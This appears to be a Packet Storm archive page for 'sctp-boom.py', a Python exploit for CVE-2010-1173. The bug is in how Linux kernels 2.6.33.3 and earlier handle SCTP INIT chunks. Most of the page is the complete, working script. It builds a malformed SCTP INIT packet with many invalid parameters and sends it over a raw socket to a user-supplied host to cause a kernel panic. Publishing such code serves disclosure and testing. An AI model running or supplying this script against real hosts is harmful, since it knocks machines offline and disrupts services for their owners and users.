exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 2.6.33.3 SCTP INIT Denial Of Service

Linux Kernel 2.6.33.3 SCTP INIT Denial Of Service
Posted Aug 12, 2010
Authored by Jon Oberheide

Linux kernel versions 2.6.33.3 and below SCTP INIT remote denial of service exploit.

tags | exploit, remote, denial of service, kernel
systems | linux
advisories | CVE-2010-1173
SHA-256 | a35d8f03321604b0eee056d633f06be3f14c328a7fc6b0c000888fa3b75af760

Linux Kernel 2.6.33.3 SCTP INIT Denial Of Service

Change Mirror Download
# From: https://jon.oberheide.org/files/sctp-boom.py
#!/usr/bin/env python

'''
sctp-boom.py

Linux Kernel <= 2.6.33.3 SCTP INIT Remote DoS
Jon Oberheide <jon@oberheide.org>
https://jon.oberheide.org

Information:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173

The sctp_process_unk_param function in net/sctp/sm_make_chunk.c in the
Linux kernel 2.6.33.3 and earlier, when SCTP is enabled, allows remote
attackers to cause a denial of service (system crash) via an SCTPChunkInit
packet containing multiple invalid parameters that require a large amount
of error data.

Usage:

$ python sctp-boom.py 1.2.3.4 19000
[+] sending malformed SCTP INIT msg to 1.2.3.4:19000
...
[+] kernel should have panicked on remote host 1.2.3.4

Requirements:

* dnet: https://libdnet.sourceforge.net/
* dpkt: https://code.google.com/p/dpkt/

'''

import os, sys, socket

def err(txt):
print '[-] error: %s' % txt
sys.exit(1)

def msg(txt):
print '[+] %s' % txt

def usage():
print >> sys.stderr, 'usage: %s host port' % sys.argv[0]
sys.exit(1)

try:
import dpkt
except ImportError:
err('requires dpkt library: https://code.google.com/p/dpkt/')

try:
import dnet
except ImportError:
try:
import dumbnet as dnet
except ImportError:
err('requires dnet library: https://libdnet.sourceforge.net/')

def main():
if len(sys.argv) != 3:
usage()

host = sys.argv[1]
port = int(sys.argv[2])

try:
sock = dnet.ip()
intf = dnet.intf()
except OSError:
err('requires root privileges for raw socket access')

dst_addr = socket.gethostbyname(host)
interface = intf.get_dst(dnet.addr(dst_addr))
src_addr = interface['addr'].ip

msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port))

invalid = ''
invalid += '\x20\x10\x11\x73'
invalid += '\x00\x00\xf4\x00'
invalid += '\x00\x05'
invalid += '\x00\x05'
invalid += '\x20\x10\x11\x73'

for i in xrange(20):
invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff'

init = dpkt.sctp.Chunk()
init.type = dpkt.sctp.INIT
init.data = invalid
init.len = len(init)

sctp = dpkt.sctp.SCTP()
sctp.sport = 0x1173
sctp.dport = port
sctp.data = [ init ]

ip = dpkt.ip.IP()
ip.src = src_addr
ip.dst = dnet.ip_aton(dst_addr)
ip.p = dpkt.ip.IP_PROTO_SCTP
ip.data = sctp
ip.len = len(ip)

print `ip`

pkt = dnet.ip_checksum(str(ip))
sock.send(pkt)

msg('kernel should have panicked on remote host %s' % (dst_addr))

if __name__ == '__main__':
main()

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close